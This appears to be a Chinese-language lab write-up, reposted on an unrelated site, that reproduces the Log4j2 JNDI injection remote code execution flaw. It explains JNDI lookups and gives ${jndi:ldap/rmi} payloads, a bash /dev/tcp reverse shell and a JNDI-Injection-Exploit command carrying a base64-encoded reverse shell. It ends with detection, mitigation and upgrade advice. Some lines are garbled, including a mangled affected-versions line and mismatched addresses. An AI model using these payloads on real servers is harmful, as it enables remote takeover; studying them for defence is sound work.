Log4j2远程代码执行漏洞(cve

您所在的位置:网站首页 漏洞利用阶段 Log4j2远程代码执行漏洞(cve

Log4j2远程代码执行漏洞(cve

2023-03-03 07:57| 来源: 网络整理| 查看: 265

前言

Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。通过重写了log4j框架,并且引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。

JNDI简单介绍

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。JNDI注入主要是用过下载远程class,来运行恶意代码。JNDI注入攻击时常用的就是通过RMI和LDAP两种服务。

JNDI实现原理JNDI通过lookup()方法解析接收自应用程序的信息,从而去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…)查找资源。格式 ${jndi:rmi:192.168.96.1:1099/wqiyua}在这里插入图片描述

参考文章https://blog.csdn.net/weixin_46198176/article/details/124917641

漏洞攻击原理

原理概述当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中假如日志中含有该语句${jndi:ldap:192.168.96.1:1099/exp},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.96.1:1099/exp解析到ldap,就会去192.168.61.129:1099的ldap服务找名为shell的资源,如果找不到就会去http服务中找在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入攻击者就可以通过shell实现任意的命令执行,造成严重危害

受影响版本Apache Log4j 2.x & /dev/tcp/ip/port 0>&1

注意“命令”必须经过编码,不然将无法实现

反弹shell漏洞利用

在漏洞已经存在的情况下,构造攻击payload执行命令反弹shell

bash -i >& /dev/tcp/v-ip/port 0>&1在这里插入图片描述

设置监听端口在 v中打开一个页面,监听我们的对应的端口。在这里插入图片描述执行EXP,生成可用的payload编码后的命令通过-C参数输入JNDI工具,通过通过-A参数指定kali的ip地址:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwOS4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}” -A 192.168.109.128

在这里插入图片描述

使用burpsuit抓包,替换payloadrmi://192.168.109.128:1099/xz4mwn 到Burpsuite:在这里插入图片描述在这里插入图片描述将payload进行url编码并发包

在这里插入图片描述**监听界面出现如下所示,即为反弹shell成功 **

在这里插入图片描述

复现时遇到的问题

1.环境安装时总遇到问题2.打开DNSlog.cn网站时遇到很多问题3.使用burp抓包与发包时遇到问题

排查

1.可以通过检查日志中是否存在"jndi:ldap://"、"jndi:rmi"等字符来发现可能的攻击行为2.pom版本检查3.各种安全产品

防御方法

1.设置jvm参数 -Dlog4j2.formatMsgNoLookups=true。由于Java RMI,的实现依赖于JVM,所以可以通过调用JVM来修改。2.设置log4j2.formatMsgNoLookups=True。3.采用waf对请求流量中的${jndi进行拦截。通过对拦截JNDI语句来防止JNDI注入。4.禁止不必要的业务访问外网,配置网络防火墙,禁止系统主动外连网络,包含不限于DNS、TCP/IP、ICMP。

修复方法

升级到最新的安全版本:log4j-2.15.0-rc2。Apache Log4j2 官方已经发布了解决上述漏洞的安全更新,建议尽快升级到安全版本。



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3